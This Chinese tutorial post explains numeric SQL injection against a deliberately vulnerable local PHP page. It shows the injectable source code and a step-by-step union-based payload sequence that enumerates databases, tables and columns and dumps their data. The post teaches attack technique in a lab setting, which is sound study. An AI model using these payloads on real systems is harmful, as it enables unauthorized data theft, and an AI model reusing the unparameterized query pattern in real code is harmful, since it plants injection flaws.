SQL注入原理-数值型注入

2023-11-07

        小伙伴们大家好!本期为大家带来的是SQL注入原理-数值型注入的讲解!

目录

SQL注入原理

数值型注入

​编辑

1、测试是否存在注入点

2、判断字段个数

3、找出可以回显的字段

4、查询数据库的信息

        1.查看当前的数据库

        2.查看当前数据库的用户

        3.查看数据库的版本 

        4.查看所有的数据库名

        5.查看数据库下的所有表名

        6.查询表中所有的字段

        7.查询表中的数据

总结


SQL注入原理

        SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。

数值型注入

        数值型注入顾名思义就是我们前端传入后端的参数是一个数值,比如id值。

比如后端需要根据前端传来的id值进行数据库查询并把结果传给前端进行展示。

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = $_GET['id'];
        // 执行的SQL语句
        $sql = "select * from users where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {
            echo "<center></br>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

1、测试是否存在注入点

这里我们可以直接传入?id=1,即可得到users表下id=1的数据。 

由于id值是由用户输入的,那我们就可以构造恶意的SQL语句来查询其他的数据。

例如我们输入?id=1 and 1=2

http://127.0.0.1/opsql/sql02.php?id=1 and 1=2

前端什么都没有显示,这就是因为我们输入的“and 1=2”也被传入到了后端,被当成SQL语句去执行,而 1=2 是错误的,所以前端不会显示数据。

当我们输入?id=1 and 1=1 时,页面就能正常回显users表下id值为1 的数据了。

这样即可证明一个网站是否存在SQL注入点。说明后端没有对我们输入的id值进行检验与过滤,使得我们构造的SQL语句被得到了执行。

2、判断字段个数

接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

我们直接构造id值为“?id=1 order by 3

http://127.0.0.1/opsql/sql02.php?id=1 order by 3

        order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

可以看到,当order by 3时页面正常回显,而当order by 4时页面报错“Unknown column '4' in 'order clause'”。

说明后端数据库查询语句查询的字段数为3个。返回上面查看源代码查询的字段数确实是3个。

3、找出可以回显的字段

构造id值“?id=1 union select 1,2,3”

http://127.0.0.1/opsql/sql02.php?id=1 union select 1,2,3

发现没有显示1,2,3。这是为什么呢?因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1,2,3分别能在哪里显示,就必须让后端的查询语句查不到结果,即:让id值为负或者在id=1后添加一个条件“and 1=2”。

这里可以查询的字段,只有第二个跟第三个字段能在前端页面显示。

4、查询数据库的信息

        1.查看当前的数据库

          构造id值“?id=-1 union select 1,database(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,database(),3

         

可以看到当前数据库名为test数据库。 

        2.查看当前数据库的用户

         构造id值“?id=-1 union select 1,user(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,user(),3

        3.查看数据库的版本 

        构造id值“?id=-1 union select 1,version(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,version(),3

        4.查看所有的数据库名

        构造id值“?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata”

因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

        5.查看数据库下的所有表名

        构造id值“?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'

        6.查询表中所有的字段

         构造id值“?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'

        7.查询表中的数据

        构造id值“?id=-1 union select 1,group_concat(name),group_concat(age) from study.student”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(name),group_concat(age) from study.student

 

 这样我们就查到了study数据库下student表中的数据信息。

总结

数值型注入的基本流程为:

        先使用and1=2的条件观察页面是否正常回显,如果正常回显则存在注入点,接下开始用order by 来判断后端SQL语句查询字段个数,再检测哪个字段可以被前端页面回显,之后就可以爆数据库、表、字段了,爆出字段就可以直接获取数据了!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入原理-数值型注入 的相关文章

随机推荐

  • PDF Web Viewer

    https mozilla github io pdf js web viewer html
  • 编程每日一题_C程序设计_日K蜡烛图

    描述 来源 pintia 正确解法一 嵌套 if 条件判断 include
  • 华为OD机试 - 区间交集(Java)

    题目描述 给定一组闭区间 其中部分区间存在交集 任意两个给定区间的交集 称为公共区间 如 1 2 2 3 的公共区间为 2 2 3 5 3 6 的公共区间为 3 5 公共区间之间若存在交集 则需要合并 如 1 3 3 5 区间存在交集 3
  • 线性DP题目汇总(持续更新)

    一 前言 此篇章主要整理一些关于线性dp的题目 很多题目其实都可以被挂上线性dp的标志 比如最熟悉的最长上升子序列啊 最长公共子序列啊等等 并且线性dp在自己写力扣周赛的题目的时候 真的会时不时出几道 然后刚好利用这些题目加上dp分析的方法
  • uniapp中H5使用Vconsole调试

    下载与安装vconsole 1 1 选中你的项目 弄出终端 输入以下命令 npm install vconsole npm install vconsole 2 引用vconsole 找到main js文件中 加上以下代码 import V
  • PyPDF2 pdf 文件写入提示如下错误:PyPDF2.utils.PdfReadError: Illegal character in Name Object

    今天学习PyPDF2 pdf文件写入其他指定pdf 文件提示如下错误信息 Traceback most recent call last File D python35 Lib site packages PyPDF2 generic py
  • 强化学习基础

    强化学习 强化学习概念 强化学习 RL 就是智能体Agent与环境交互从而进行学习的一种机器学习方法 Agent执行一个动作后 会从环境中获得反馈 这个反馈就是环境对这个动作做出的评价 这个可以理解为当你拿100分时 你妈妈会给你一顿大餐的
  • 毕业设计 STM32单片机的GPS定位系统 - 物联网

    基于STM32单片机的定位系统 由 STM32F103C8T6单片机最小系统 GPS模块 ESP8266 系统内可以通过ESP8266无线传输模块将GPS传回来的数据在ONENET界面显示 ONENET界面可以显示行驶距离 速度 经纬度还可
  • 中望cad文字显示问号怎么办_CAD字体显示问号解决方法

    很多朋友查看CAD图纸的时候会出现很多问号 这到底是怎么回事呢 想要搞定也是很麻烦的 小编提供的这款CAD字体 问号修复工具采用lsp格式 加载后再命令行输入fs回车即可解决cad字体中出现问号的问题 遇到类似问题的朋友不妨下载试试 使用说
  • 算法导论学习--红黑树详解之删除(含完整红黑树代码)

    前面我们讨论了红黑树的插入的实现 基本思想是分类讨论 然后分情况讨论以后我们发现插入操作调整函数只需要处理三种情况 并不是太复杂 但是删除操作会更复杂一点 因为二叉搜索树的删除操作本身就分成了多种情况 这样在执行删除操作后要处理的情况会更多
  • tomcat 远程连接

    在catalina sh里面添加以下配置 JAVA OPTS server XX PermSize 1024m XX MaxPermSize 2048m Xms3072 Xmx5120m XX UseParallelGC XX Parall
  • 爆了!2023 年上半年全球程序员薪酬报告

    大家好 这里是 NewBeeNLP 近日 美国科技公司数据收集网站 Levels fyi 发布了 2023 年上半年全球程序员薪酬报告 并统计了各领域薪酬的增长比例 我们从上表可以看到各个领域当中 增强现实 虚拟现实 AR VR 总薪酬中位
  • PC汇编语言(NASM)

    http www drpaulcarter com pcasm 转载于 https www cnblogs com yuanping archive 2012 12 29 2838844 html
  • 归并排序,C++实现

    归并排序 采用分治法的一个典型应用 实现方法有两种 1 自上而下的递归 所有递归的方法都可以用迭代重写 2 自下而上的迭代 c 代码 递归版 include
  • QT串口收发

    QT串口收发 串口扫描 配置串口信息 设置串口名称 设置波特率 设置数据位 设置奇偶校验 设置停止位 设置流控制 设置读取数据的缓存大小 打开串口 串口打开并配置代码 串口接收数据 串口发送数据 串口关闭 offAndOn自定义函数 使co
  • react组件的生命周期以及基本语法

    组件化的发展历程 面向对象 封装 集成 多态 模块化 13 16年 解决了全局变量和变量勿滥 组件化 使编程更轻量化 创建组件 组件的使用 无需注册 跟html标签书写一致 首字母大写 必须有根标签 一个组件一个模块 组件生命周期钩子函数
  • mvc:default-servlet-handler和mvc:annotation-driven成对出现的原因

  • [人工智能-深度学习-62]:环境搭建 - 增加或更换硬盘,SSD/SATA/SAS哪个好?

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 人工智能 深度学习 62 环境搭建 增加或更换硬盘 SSD SATA SAS哪个好 文火冰糖 王文兵 的博客 CSDN博客 第1章 硬盘的分
  • Linux提权

    目录 编辑 一 信息收集 Linux脏牛内核漏洞 SUID 1 信息收集 2 SUID提权 案例 1 SUID提权配合脚本 2 本地配合内核漏洞 3 脏牛内核漏洞演示 linux exploit suggester 二 定时任务 环境变量
  • SQL注入原理-数值型注入

    小伙伴们大家好 本期为大家带来的是SQL注入原理 数值型注入的讲解 目录 SQL注入原理 数值型注入 编辑 1 测试是否存在注入点 2 判断字段个数 3 找出可以回显的字段 4 查询数据库的信息 1 查看当前的数据库 2 查看当前数据库的用